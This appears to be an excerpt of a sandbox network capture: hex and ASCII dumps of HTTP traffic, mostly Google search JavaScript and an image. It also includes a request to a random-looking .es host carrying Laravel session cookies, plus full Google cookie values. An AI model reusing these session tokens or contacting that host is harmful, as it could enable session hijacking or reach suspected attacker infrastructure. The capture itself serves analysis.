SPDX-License-Identifier: Apache-2.0// Copyright 2024 Google, Inc SPDX-License-Identifier: MIT// SPDX-License-Identifier: Apache-2.0// Copyright Google LLC All Rights Reserved. Use of this source code is governed by an MIT-style licen
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 46 68 61 2c 48 68 61 2c 4f 68 61 2c 55 68 61 2c 59 68 61 2c 78 69 61 2c 43 69 61 2c 44 69 61 2c 45 69 61 2c 46 69 61 2c 47 69 61 2c 48 69 61 2c 55 69 61 2c 54 69 61 2c 5a 69 61 2c 62 6a 61 2c 63 6a 61 2c 64 6a 61 2c 68 6a 61 2c 6e 6a 61 2c 6f 6a 61 2c 71 6a 61 2c 73 6a 61 2c 76 6a 61 2c 78 6a 61 2c 79 6a 61 2c 7a 6a 61 2c 4c 6a 61 2c 52 6a 61 2c 57 6a 61 2c 51 6a 61 2c 58 6a 61 2c 65 6b 61 2c 6e 6b 61 2c 76 6b 61 2c 79 6b 61 2c 77 6b 61 2c 41 6b 61 2c 4b 6b 61 2c 4f 6b 61 2c 51 6b 61 2c 5a 6b 61 2c 56 6b 61 2c 61 6c 61 2c 5a 64 2c 62 6c 61 2c 64 6c 61 2c 65 65 2c 6f 6c 61 2c 70 6c 61 2c 71 6c 61 2c 74 6c 61 2c 4e 6c 61 2c 58 6c 61 2c 52 6c 61 2c 61 6d 61 2c 63 6d 61 2c 65 6d 61 2c 66 6d 61 2c 68 6d 61 2c 6c 6d 61 2c 6d 6d 61 2c 70 6d 61 2c 75 6d 61 2c 76 Data Ascii: Fha,Hha,Oha,Uha,Yha,xia,Cia,Dia,Eia,Fia,Gia,Hia,Uia,Tia,Zia,bja,cja,dja,hja,nja,oja,qja,sja,vja,xja,yja,zja,Lja,Rja,Wja,Qja,Xja,eka,nka,vka,yka,wka,Aka,Kka,Oka,Qka,Zka,Vka,ala,Zd,bla,dla,ee,ola,pla,qla,tla,Nla,Xla,Rla,ama,cma,ema,fma,hma,lma,mma,pma,uma,v
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 2c 51 76 61 3b 5f 2e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 5f 2e 61 61 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 62 21 3d 3d 76 6f 69 64 20 30 26 26 28 74 68 69 73 2e 63 61 75 73 65 3d 62 29 7d 3b 5f 2e 61 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 25 73 22 29 3b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 61 2e 6c 65 6e 67 74 68 2d 31 2c 65 3d 30 3b 65 3c 64 3b Data Ascii: ,Qva;_.aa=function(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,_.aa);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));b!==void 0&&(this.cause=b)};_.aaa=function(a,b){a=a.split("%s");for(var c="",d=a.length-1,e=0;e<d;
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 7d 65 6c 73 65 20 65 2d 2d 7d 69 66 28 62 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 4d 22 29 3b 66 3d 36 35 35 33 33 7d 64 5b 63 2b 2b 5d 3d 66 3e 3e 31 32 7c 32 32 34 3b 64 5b 63 2b 2b 5d 3d 66 3e 3e 36 26 36 33 7c 31 32 38 7d 64 5b 63 2b 2b 5d 3d 66 26 36 33 7c 31 32 38 7d 7d 61 3d 63 3d 3d 3d 64 2e 6c 65 6e 67 74 68 3f 64 3a 64 2e 73 75 62 61 72 72 61 79 28 30 2c 63 29 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 62 61 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 61 3b 7d 2c 30 29 7d 3b 5f 2e 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 3d 3d 30 7d 3b 5f 2e 68 61 61 3d 66 75 6e 63 74 69 Data Ascii: }else e--}if(b)throw Error("M");f=65533}d[c++]=f>>12\|224;d[c++]=f>>6&63\|128}d[c++]=f&63\|128}}a=c===d.length?d:d.subarray(0,c)}return a};_.ca=function(a){_.ba.setTimeout(function(){throw a;},0)};_.da=function(a,b){return a.lastIndexOf(b,0)==0};_.haa=functi
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 28 67 5b 31 5d 2c 31 30 29 29 7c 7c 6c 61 61 28 66 5b 32 5d 2e 6c 65 6e 67 74 68 3d 3d 30 2c 67 5b 32 5d 2e 6c 65 6e 67 74 68 3d 3d 30 29 7c 7c 6c 61 61 28 66 5b 32 5d 2c 67 5b 32 5d 29 3b 66 3d 66 5b 33 5d 3b 67 3d 67 5b 33 5d 7d 77 68 69 6c 65 28 63 3d 3d 30 29 7d 72 65 74 75 72 6e 20 63 7d 3b 0a 6c 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3c 62 3f 2d 31 3a 61 3e 62 3f 31 3a 30 7d 3b 5f 2e 6f 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 5f 2e 62 61 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 3f 61 3a 22 22 7d 3b 6e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 5f 2e 6d 61 61 7c 7c 21 5f 2e 72 61 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 Data Ascii: (g[1],10))\|\|laa(f[2].length==0,g[2].length==0)\|\|laa(f[2],g[2]);f=f[3];g=g[3]}while(c==0)}return c};laa=function(a,b){return a<b?-1:a>b?1:0};_.oa=function(){var a=_.ba.navigator;return a&&(a=a.userAgent)?a:""};naa=function(a){if(!_.maa\|\|!_.ra)return!1;for
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 5f 2e 74 61 28 29 7c 7c 28 5f 2e 71 61 61 28 29 3f 30 3a 5f 2e 73 61 28 22 43 6f 61 73 74 22 29 29 7c 7c 5f 2e 72 61 61 28 29 7c 7c 5f 2e 74 61 61 28 29 7c 7c 5f 2e 75 61 61 28 29 7c 7c 28 5f 2e 71 61 61 28 29 3f 6e 61 61 28 22 4f 70 65 72 61 22 29 3a 5f 2e 73 61 28 22 4f 50 52 22 29 29 7c 7c 5f 2e 76 61 61 28 29 7c 7c 5f 2e 77 61 61 28 29 7c 7c 5f 2e 73 61 28 22 41 6e 64 72 6f 69 64 22 29 29 7d 3b 5f 2e 74 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 71 61 61 28 29 3f 6e 61 61 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 5f 2e 73 61 28 22 43 68 72 6f 6d 65 22 29 7c 7c 5f 2e 73 61 28 22 43 72 69 4f 53 22 29 29 26 26 21 5f 2e 74 61 61 28 29 7c 7c 5f 2e 77 61 61 28 29 7d 3b 5f 2e 78 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: _.ta()\|\|(_.qaa()?0:_.sa("Coast"))\|\|_.raa()\|\|_.taa()\|\|_.uaa()\|\|(_.qaa()?naa("Opera"):_.sa("OPR"))\|\|_.vaa()\|\|_.waa()\|\|_.sa("Android"))};_.ta=function(){return _.qaa()?naa("Chromium"):(_.sa("Chrome")\|\|_.sa("CriOS"))&&!_.taa()\|\|_.waa()};_.xaa=function(){retur
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 72 61 22 29 3a 5f 2e 73 61 28 22 4f 50 52 22 29 29 72 65 74 75 72 6e 20 63 28 5b 22 4f 50 52 22 5d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 3a 69 66 28 5f 2e 74 61 61 28 29 29 72 65 74 75 72 6e 20 63 28 5b 22 45 64 67 65 22 5d 29 3b 69 66 28 5f 2e 75 61 61 28 29 29 72 65 74 75 72 6e 20 63 28 5b 22 45 64 67 22 5d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 43 68 72 6f 6d 69 75 6d 22 3a 69 66 28 5f 2e 74 61 28 29 29 72 65 74 75 72 6e 20 63 28 5b 22 43 68 72 6f 6d 65 22 2c 22 43 72 69 4f 53 22 2c 22 48 65 61 64 6c 65 73 73 43 68 72 6f 6d 65 22 5d 29 7d 72 65 74 75 72 6e 20 61 3d 3d 3d 22 46 69 72 65 66 6f 78 22 26 26 5f 2e 76 61 61 28 29 7c 7c 61 3d 3d 3d 22 53 61 66 61 72 69 22 26 26 5f 2e 75 61 28 29 7c 7c 61 3d Data Ascii: ra"):_.sa("OPR"))return c(["OPR"]);break;case "Microsoft Edge":if(_.taa())return c(["Edge"]);if(_.uaa())return c(["Edg"]);break;case "Chromium":if(_.ta())return c(["Chrome","CriOS","HeadlessChrome"])}return a==="Firefox"&&_.vaa()\|\|a==="Safari"&&_.ua()\|\|a=
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 22 29 7d 3b 5f 2e 48 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 61 61 28 29 3f 5f 2e 72 61 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 22 57 69 6e 64 6f 77 73 22 3a 5f 2e 73 61 28 22 57 69 6e 64 6f 77 73 22 29 7d 3b 49 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 61 61 28 29 3f 5f 2e 72 61 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 22 43 68 72 6f 6d 65 20 4f 53 22 3a 5f 2e 73 61 28 22 43 72 4f 53 22 29 7d 3b 0a 5f 2e 4a 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 5f 2e 6f 61 28 29 2c 62 3d 22 22 3b 5f 2e 48 61 61 28 29 3f 28 62 3d 2f 57 69 6e 64 6f 77 73 20 28 3f 3a 4e 54 7c 50 68 6f 6e 65 29 20 28 5b 30 2d 39 2e 5d 2b 29 2f 2c 62 3d 28 61 3d 62 2e 65 78 65 63 28 61 29 29 3f 61 5b 31 5d 3a 22 30 2e 30 22 29 3a Data Ascii: ")};_.Haa=function(){return Caa()?_.ra.platform==="Windows":_.sa("Windows")};Iaa=function(){return Caa()?_.ra.platform==="Chrome OS":_.sa("CrOS")};_.Jaa=function(){var a=_.oa(),b="";_.Haa()?(b=/Windows (?:NT\|Phone) ([0-9.]+)/,b=(a=b.exec(a))?a[1]:"0.0"):
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 66 3c 64 3b 66 2b 2b 29 69 66 28 66 20 69 6e 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 29 72 65 74 75 72 6e 20 66 3b 72 65 74 75 72 6e 2d 31 7d 3b 0a 5f 2e 4e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 62 3d 5f 2e 4d 61 61 28 61 2c 62 2c 63 29 3b 72 65 74 75 72 6e 20 62 3c 30 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 61 2e 63 68 61 72 41 74 28 62 29 3a 61 5b 62 5d 7d 3b 5f 2e 4d 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 65 3d 61 2e 6c 65 6e 67 74 68 2d 31 3b 65 3e 3d 30 3b 65 2d 2d 29 69 66 28 65 20 69 6e 20 64 26 26 62 2e 63 61 6c 6c 28 Data Ascii: f<d;f++)if(f in e&&b.call(c,e[f],f,a))return f;return-1};_.Naa=function(a,b,c){b=_.Maa(a,b,c);return b<0?null:typeof a==="string"?a.charAt(b):a[b]};_.Maa=function(a,b,c){for(var d=typeof a==="string"?a.split(""):a,e=a.length-1;e>=0;e--)if(e in d&&b.call(

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:00 UTC	1153	OUT	GET /xyWc2HOAwFK1ytG9aGvzFMwyqfO344tkNb5yLwpvLBdAfw HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjNuVnFrRlRtc2hncnFiZXBraTMzUVE9PSIsInZhbHVlIjoiMDZZaHMrUVh5Um0vMGJhUllUUEhqazc2LzhDVlZRWDA5MjFKeVBPYzRhZUVGT2V2bzliY3Z6dW9GQVRHY25ELzBxS05POXNqNXA2VzJwWFpDeEJ1ZVpPc2R3b3hZOG84eE9aL2xVekVFbHZabFFCenFBbERjL2h0UTVhOGhCbHEiLCJtYWMiOiJiNmRiNzc3MGVmMmJlMzliZGVlN2UxNjg2MzJjYTQ5MGYyYjA5YWJkMDY2YjQ1MjllYjk0ZDBkNjg2YTFkZmQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhJNW9kTUM0WTRFR043UDZpMHVtWXc9PSIsInZhbHVlIjoia2ZLUUtNcTkzTjhKZTJKVnIwYjVuSW5JeE5RVktkY0ZldklXL3BUYjlzdksrUjNjSjVxOTllZUZUVU5DVTZ0ZE9MRnk2U0doMjJiYWtNdk5BZ21vM2txQ1hYLzI4cGpiOXdvcVhzc3JZRWxDNjJhM1lFZHljOUsxblVuNmFDVWwiLCJtYWMiOiI2MTkxNzNhZjdhZmEzMmYzYzc3M2JmZjY2MTgxMDljZDY1ZDg4ZjlkZTNhNjQyMmUyYjMwYTg5MzU2NzlmYjY3IiwidGFnIjoiIn0%3D
2025-03-26 21:43:00 UTC	1035	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 21:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=59V%2FbDeCa%2FLpqXK8LDzBuTSx7075Ssryl6BdHn2mV7wcU3WzeQ8hLKn2I9YobD7C%2FTT2qyfGi0%2BNqCO96MTaXOSbLyhSSiV%2BVUjuq2GW9POe3IrwifUagMkI9exEERj5OjG7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=272&min_rtt=254&rtt_var=104&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2071&delivery_rate=11687861&cwnd=252&unsent_bytes=0&cid=32535725d360a6e2&ts=155&x=0" Server: cloudflare CF-RAY: 9269d2351ec74400-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88935&min_rtt=88875&rtt_var=18786&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1725&delivery_rate=34359&cwnd=245&unsent_bytes=0&cid=e7f9b60ac2c01fa1&ts=377&x=0"
2025-03-26 21:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:00 UTC	2788	OUT	GET /async/hpba?yv=3&cs=0&ei=43TkZ9b3MZSw0PEPiIOGsQ0&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/dg%3D0/br%3D1/rs%3DACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg,_basecss:/xjs/_/ss/k%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/br%3D1/rs%3DACT90oEftwI819Ook0SChABk1NYW2PsVtw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/ck%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEA [TRUNCATED] Host: www.google.com Connection: keep-alive downlink: 0.35 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 350 sec-ch-ua-platform-version: "10.0.0" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
2025-03-26 21:43:00 UTC	1527	IN	HTTP/1.1 200 OK Version: 738694976 X-Content-Type-Options: nosniff Content-Type: text/plain; charset=UTF-8 Content-Disposition: attachment; filename="f.txt" Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Wed, 26 Mar 2025 21:43:00 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Expires: Wed, 26 Mar 2025 21:43:00 GMT Cache-Control: private Set-Cookie: NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE; expires=Thu, 25-Sep-2025 21:43:00 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-26 21:43:00 UTC	50	IN	Data Raw: 32 63 0d 0a 29 5d 7d 27 0a 32 34 3b 5b 22 35 48 54 6b 5a 34 76 47 4e 59 4b 6b 69 4c 4d 50 72 75 36 35 69 51 59 22 2c 22 32 31 39 30 22 2c 31 5d 0d 0a Data Ascii: 2c)]}'24;["5HTkZ4vGNYKkiLMPru65iQY","2190",1]
2025-03-26 21:43:00 UTC	50	IN	Data Raw: 32 63 0d 0a 63 3b 5b 32 2c 6e 75 6c 6c 2c 22 30 22 5d 31 62 3b 3c 64 69 76 20 6a 73 6e 61 6d 65 3d 22 4e 6c 6c 30 6e 65 22 3e 3c 2f 64 69 76 3e 0d 0a Data Ascii: 2cc;[2,null,"0"]1b;<div jsname="Nll0ne"></div>
2025-03-26 21:43:00 UTC	22	IN	Data Raw: 31 30 0d 0a 63 3b 5b 39 2c 6e 75 6c 6c 2c 22 30 22 5d 30 3b 0d 0a Data Ascii: 10c;[9,null,"0"]0;
2025-03-26 21:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:00 UTC	1444	OUT	GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 0.35 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 350 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
2025-03-26 21:43:01 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/webp Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 660 Date: Wed, 26 Mar 2025 21:43:01 GMT Expires: Wed, 26 Mar 2025 21:43:01 GMT Cache-Control: private, max-age=31536000 Last-Modified: Wed, 22 Apr 2020 22:00:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-26 21:43:01 UTC	326	IN	Data Raw: 52 49 46 46 8c 02 00 00 57 45 42 50 56 50 38 4c 80 02 00 00 2f 27 c0 1e 10 d5 48 76 b6 3d 6e 95 fb bf 0a bb 07 b8 51 ea d8 9f 99 61 e5 e8 28 52 76 0c 6f ab da 55 98 1c c6 fe ea 8a 99 6c 18 b6 6d 1b a6 ff 1f dc da f4 06 30 6c db 36 6c ae ed 66 da 0c b1 ed 09 a4 90 41 3f 42 08 43 98 41 19 94 c1 32 68 06 9d 41 67 30 84 10 0e e1 47 38 07 6e 23 29 52 ba 6a f1 78 a0 e6 be 50 9e 46 e5 ce 49 3b cc 4f 78 a1 e7 c7 cf f5 1c 37 2d f7 c8 cf 62 58 9e 2f eb c0 5d c5 88 96 af 33 cb b8 1c 54 80 ab 93 e1 a2 35 b7 ba 01 78 ee ac da f6 47 2e 43 09 aa 19 e0 b7 25 e2 75 03 8e 19 f9 14 75 2f 97 5f b4 3d f0 b2 94 98 bc 10 3c 21 71 06 5c 86 f8 07 39 02 f7 de b2 c2 15 5c f7 a6 1a 07 70 3a 14 bc 50 f8 34 1f 61 53 00 4e 29 9c 3e b0 3e 18 ae 22 06 db 83 39 99 e0 56 68 20 a7 aa d0 80 Data Ascii: RIFFWEBPVP8L/'Hv=nQa(RvoUlm0l6lfA?BCA2hAg0G8n#)RjxPFI;Ox7-bX/]3T5xG.C%uu/_=<!q\9\p:P4aSN)>>"9Vh
2025-03-26 21:43:01 UTC	334	IN	Data Raw: e8 fa a1 72 eb 09 ab f2 a0 74 2a 0f 48 82 e5 7e 54 5e 7c d4 d2 db d8 e7 6c 2e 1f 6c 10 99 eb 92 f5 f8 95 68 65 1c f4 7d 66 d6 c3 b9 b5 f3 64 80 8d 22 bb a5 02 d6 4b 89 86 e6 26 31 92 8c 82 a3 18 9a 8b 05 c9 9a 94 87 b3 90 c0 11 bb ef 97 c3 70 6c ff 50 66 fd 25 36 91 b4 d8 87 32 58 84 fd 49 a1 0b e9 65 58 51 28 15 4b e7 f2 aa 31 25 63 bd c3 77 8d 73 f2 85 9d 5f e1 a4 d1 92 f3 5f 4b 60 4b 94 31 7d 12 9f 44 d7 45 3d a9 89 96 3c 1b 83 79 74 4d c7 b0 f1 3e fe 71 27 b0 65 d0 4c 09 7e 24 bf 98 9b 62 9c 82 3b 6b 8a 4d 08 80 1e f6 97 74 5c 4f d2 12 6d 87 49 e9 5f bd 10 46 c1 a6 a4 7f 27 a9 d7 ea da a4 b4 c4 ca b4 1b 7a 16 5d 0c b0 75 3f 7e 0f c1 50 ee 7a 4a 4d 89 f9 20 6b 92 a9 d3 70 7e 39 d6 fc 44 eb 97 d6 e7 f2 22 bf 5a 6c 24 3f 66 d4 d6 9a 2b 1f 90 bf 5c f0 50 Data Ascii: rt*H~T^\|l.lhe}fd"K&1plPf%62XIeXQ(K1%cws__K`K1}DE=<ytM>q'eL~$b;kMt\OmI_F'z]u?~PzJM kp~9D"Zl$?f+\P

Timestamp	Bytes transferred	Direction	Data
